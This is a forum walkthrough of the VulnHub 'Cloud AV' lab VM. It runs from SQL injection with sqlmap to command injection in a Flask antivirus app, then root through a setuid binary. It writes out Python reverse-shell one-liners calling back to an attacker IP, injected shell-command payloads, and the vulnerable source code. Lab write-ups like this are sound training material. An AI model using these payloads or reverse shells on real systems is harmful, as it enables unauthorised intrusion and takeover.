(VulnHub)[BoredHackerBlog: Cloud AV] WriteUp — Walkthrough

VulnHub VM Box Link : https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

Description:

Cloud Anti-Virus Scanner! is a cloud-based antivirus scanning service.Currently, it’s in beta mode. You’ve been asked to test the setup and find vulnerabilities and escalate privs.Difficulty: EasyTasks involved:
port scanning
webapp attacks
sql injection
command injection
brute forcing
code analysisVirtual Machine:Format: Virtual Machine (Virtualbox OVA)
Operating System: LinuxNetworking:
DHCP Service: Enabled
IP Address Automatically assignThis works better with VirtualBox than VMware

Let’s run a NMAP Scan:

nmap -sC -sV 192.168.9.101 --unprivileged
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-02 00:23 W. Central Africa Standard Time
Strange read error from 192.168.9.101 (203 - ‘Unknown error’)
Strange read error from 192.168.9.101 (203 - ‘Unknown error’)
Strange read error from 192.168.9.101 (203 - ‘Unknown error’)
Nmap scan report for 192.168.9.101
Host is up (1.0s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6a:42:4b:7c:2a:06:0f:50:4b:32:cf:b8:31:e9:c4:f4 (RSA)
| 256 81:c7:60:0f:d7:1e:56:f7:a3:1e:9f:76:27:bd:31:27 (ECDSA)
|_ 256 71:90:c3:26:ba:3b:e8:b3:53:7e:73:53:27:4d:6b:af (ED25519)
2000/tcp filtered cisco-sccp
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15+)
|_http-title: Site doesn’t have a title (text/html; charset=utf-8).
32769/tcp filtered filenet-rpc
50636/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 269.47 seconds

All BoredHackerBlog VM’s are based on attacks against Werkzeug httpd

So I had to intercept “ Invite Code “ request and sent via burpsuite intruder with special characters wordlist

We had 2 bad characters “ and \

and the status was for both 500 and in the response raw we noticed some

flask message errors / console

and by trying manually to inject one of these we got the console:

and we have no pin code for command execution so we had to look forward and this time with

SQLMap:

sqlmap -r cloudantivirus_login -p password --risk 3 --level 5 --technique=“B” --dbms=SQLite --dump
___
H
___ [,]__ ___ ___ {1.4.3.12#dev}
|_ -| . [(] | .’| . |
|| [,]|||__,| |
|
|V… |
| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[] starting @ 00:23:33 /2020-04-02/[00:23:33] [INFO] parsing HTTP request from ‘cloudantivirus_login’
[00:23:34] [INFO] testing connection to the target URL
[00:23:34] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:23:34] [INFO] testing if the target URL content is stable
[00:23:34] [INFO] target URL content is stable
[00:23:35] [WARNING] heuristic (basic) test shows that POST parameter ‘password’ might not be injectable
[00:23:35] [INFO] testing for SQL injection on POST parameter ‘password’
[00:23:35] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[00:23:36] [INFO] testing ‘OR boolean-based blind - WHERE or HAVING clause’
got a refresh intent (redirect like response common to login pages) to ‘/scan’. Do you want to apply it from now on? [Y/n] y
[00:23:41] [INFO] testing ‘OR boolean-based blind - WHERE or HAVING clause (NOT)’
[00:23:41] [INFO] POST parameter ‘password’ appears to be ‘OR boolean-based blind - WHERE or HAVING clause (NOT)’ injectable
[00:23:41] [WARNING] in OR boolean-based injection cases, please consider usage of switch ‘–drop-set-cookie’ if you experience any problems during data retrieval
[00:23:41] [INFO] checking if the injection point on POST parameter ‘password’ is a false positive
POST parameter ‘password’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 259 HTTP(s) requests:
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: password=1" OR NOT 4631=4631-- EoHY
[00:23:43] [INFO] testing SQLite
[00:23:43] [INFO] confirming SQLite
[00:23:43] [INFO] actively fingerprinting SQLite
[00:23:43] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[00:23:43] [INFO] fetching tables for database: ‘SQLite_masterdb’
[00:23:43] [INFO] fetching number of tables for database ‘SQLite_masterdb’
[00:23:44] [WARNING] running in a single-thread mode. Please consider usage of option ‘–threads’ for faster data retrieval
[00:23:44] [INFO] retrieved: 1
[00:23:44] [INFO] retrieved: code
[00:23:44] [INFO] retrieved: CREATE TABLE code ( password TEXT )
[00:23:47] [INFO] fetching entries for table ‘code’ in database ‘SQLite_masterdb’
[00:23:47] [INFO] fetching number of entries for table ‘code’ in database ‘SQLite_masterdb’
[00:23:47] [INFO] retrieved: 4
[00:23:48] [INFO] retrieved: myinvitecode123
[00:23:49] [INFO] retrieved: mysecondinvitecode
[00:23:50] [INFO] retrieved: cloudavtech
[00:23:51] [INFO] retrieved: mostsecurescanner
Database: SQLite_masterdb
Table: code
[4 entries]
±-------------------+
| password |
±-------------------+
| myinvitecode123 |
| mysecondinvitecode |
| cloudavtech |
| mostsecurescanner |
±-------------------+[00:23:52] [INFO] table ‘SQLite_masterdb.code’ dumped to CSV file ‘C:\Users\ADMIN\AppData\Local\sqlmap\output\192.168.9.101\dump\SQLite_masterdb\code.csv’
[00:23:52] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 60 times
[00:23:52] [INFO] fetched data logged to text files under ‘C:\Users\ADMIN\AppData\Local\sqlmap\output\192.168.9.101’[
] ending @ 00:23:52 /2020-04-02/

We have 4 invite codes !

myinvitecode123
mysecondinvitecode
cloudavtech
mostsecurescanner

By trying one of these we are redirected to /scan

and we have a list of command that we can scan !

Scan with what ? … let’s try to scan the “hello” file …

and after 1m12s as shown below we had some kind of a virus scan

and no scanned files :0

Our Next step must be clever !

via BurpSuite we sent this :

POST /output HTTP/1.1
Host: 192.168.9.101:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Referer: http://192.168.9.101:8080/scan
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XoUw-A.i_sGFVAedfesEhev1zBmKhEuAPQ
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

filename=python+%7C+ls±la

The response was:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 345
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15+
Date: Thu, 02 Apr 2020 00:27:26 GMT

total 24
drwxrwxr-x 4 scanner scanner 4096 Oct 24 2018 .
drwxr-xr-x 6 scanner scanner 4096 Oct 24 2018 …
-rw-rw-r-- 1 scanner scanner 1550 Oct 24 2018 app.py
-rw-r–r-- 1 scanner scanner 2048 Oct 21 2018 database.sql
drwxrwxr-x 2 scanner scanner 4096 Oct 21 2018 samples
drwxrwxr-x 2 scanner scanner 4096 Oct 21 2018 templates

let’s run 2 commands to read the app.py file and get the full path:

python | cat app.py | pwd

The response raw:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15+
Date: Thu, 02 Apr 2020 00:30:27 GMT

/home/scanner/cloudav_app

I wasn’t able to read the python file !

so from the begging I had to to that …

filename=cat;cat /home/scanner/cloudav_app/app.py

The response raw:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1788
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15+
Date: Thu, 02 Apr 2020 00:39:26 GMT


----------- SCAN SUMMARY -----------
Known viruses: 2095534
Engine version: 0.102.2
Scanned directories: 0
Scanned files: 0
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 30.149 sec (0 m 30 s)
from flask import Flask, render_template, request, session
import sqlite3
import subprocess
import osconn = sqlite3.connect(‘database.sql’,check_same_thread = False)
c = conn.cursor()app = Flask(name)@app.route(’/’)
def index():
return render_template(‘index.html’)@app.route(’/login’, methods=[‘POST’])
def login():
password = request.form[‘password’]
if len(c.execute(‘select * from code where password="’ + password + ‘"’).fetchall()) > 0:
session[‘logged_in’] = True
return ‘Redirecting to /scan. ’
else:
return “WRONG INFORMATION”@app.route(’/scan’)
def shop():
if session.get(‘logged_in’):
filelist = subprocess.Popen(“ls -l /home/scanner/cloudav_app/samples”, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).stdout.read()
return render_template(‘scan.html’,filelist=filelist)
else:
return ‘’@app.route(’/output’, methods=[‘POST’])
def output():
if session.get(‘logged_in’):
filename = request.form[‘filename’]
scan_results = subprocess.Popen("clamscan "+filename, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).stdout.read()
return “
” + scan_results + “

else:
return ''if name == “main”:
app.secret_key = os.urandom(12)
app.run(host=‘0.0.0.0’,port=8080, debug=True)

and for a reverse shell we only have to send this

cat;python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.9.1”,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

let’s run the Linux enumeration script “linpeas.sh”

Some notes from linpeas:

[+] Users with console
cloudav:x:1000:1000:cloudav:/home/cloudav:/bin/bash
root:x:0:0:root:/root:/bin/bash
scanner:x:1001:1001:scanner,:/home/scanner:/bin/bash[+] All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1000(cloudav) gid=1000(cloudav) groups=1000(cloudav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)[+] Looking for root files in home dirs (limit 20)
/home
/home/scanner/update_cloudav

and by going to /home/scanner

scanner@cloudav:~/cloudav_app$ cd /home/
cd /home/
scanner@cloudav:/home$ ls -la
ls -la
total 16
drwxr-xr-x 4 root root 4096 Oct 21 2018 .
drwxr-xr-x 23 root root 4096 Apr 1 21:08 …
drwxr-xr-x 4 cloudav cloudav 4096 Oct 24 2018 cloudav
drwxr-xr-x 6 scanner scanner 4096 Oct 24 2018 scanner
scanner@cloudav:/home$ cd scanner
cd scanner
scanner@cloudav:~$ ls -la
ls -la
total 60
drwxr-xr-x 6 scanner scanner 4096 Oct 24 2018 .
drwxr-xr-x 4 root root 4096 Oct 21 2018 …
-rw------- 1 scanner scanner 5 Oct 24 2018 .bash_history
-rw-r–r-- 1 scanner scanner 220 Oct 21 2018 .bash_logout
-rw-r–r-- 1 scanner scanner 3771 Oct 21 2018 .bashrc
drwx------ 2 scanner scanner 4096 Oct 21 2018 .cache
drwxrwxr-x 4 scanner scanner 4096 Oct 24 2018 cloudav_app
drwx------ 3 scanner scanner 4096 Apr 2 00:50 .gnupg
drwxrwxr-x 3 scanner scanner 4096 Oct 21 2018 .local
-rw-r–r-- 1 scanner scanner 807 Oct 21 2018 .profile
-rw-rw-r-- 1 scanner scanner 66 Oct 21 2018 .selected_editor
-rwsr-xr-x 1 root scanner 8576 Oct 24 2018 update_cloudav
-rw-rw-r-- 1 scanner scanner 393 Oct 24 2018 update_cloudav.c
scanner@cloudav:~$ cat update_cloudav.c
cat update_cloudav.c
#include <stdio.h>int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam";if (argc < 2){
printf(“This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n”);
return 1;
}char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, “%s %s”, freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;}
scanner@cloudav:~$ update_cloudav x;id
update_cloudav x;id
update_cloudav: command not found
uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)
scanner@cloudav:~$ ./update_cloudav x;id
./update_cloudav x;id
ERROR: Problem with internal logger (UpdateLogFile = /var/log/clamav/freshclam.log).
ERROR: initialize: libfreshclam init failed.
ERROR: Initialization error!
ERROR: /var/log/clamav/freshclam.log is locked by another process
uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)

we have a vulnerably binary as it show in the C source code

#include <stdio.h>int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam";if (argc < 2){
printf(“This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n”);
return 1;
}char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, “%s %s”, freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;}

We have some group id and user id set to 0 which means to root !

let’s try to play with it and get our root privileges …

First of all I created another python reverse shell in a sh file and I named it x.sh

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.9.1”,5656));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

Let’s upload it to the current directory /home/scanner/

without forgetting to start listening on port 5656

after all of that we run this command :

./update_cloudav “hello|bash x.sh”

Automatically the bin file will set the GID/UID to 0 which means if the bash x.sh commands run we are root

going back to our listener we have a successfully connection … and we are R00T :smiley:

4 Likes

Good writeup man :smiley:
Keep going!

2 Likes

This topic was automatically closed after 121 days. New replies are no longer allowed.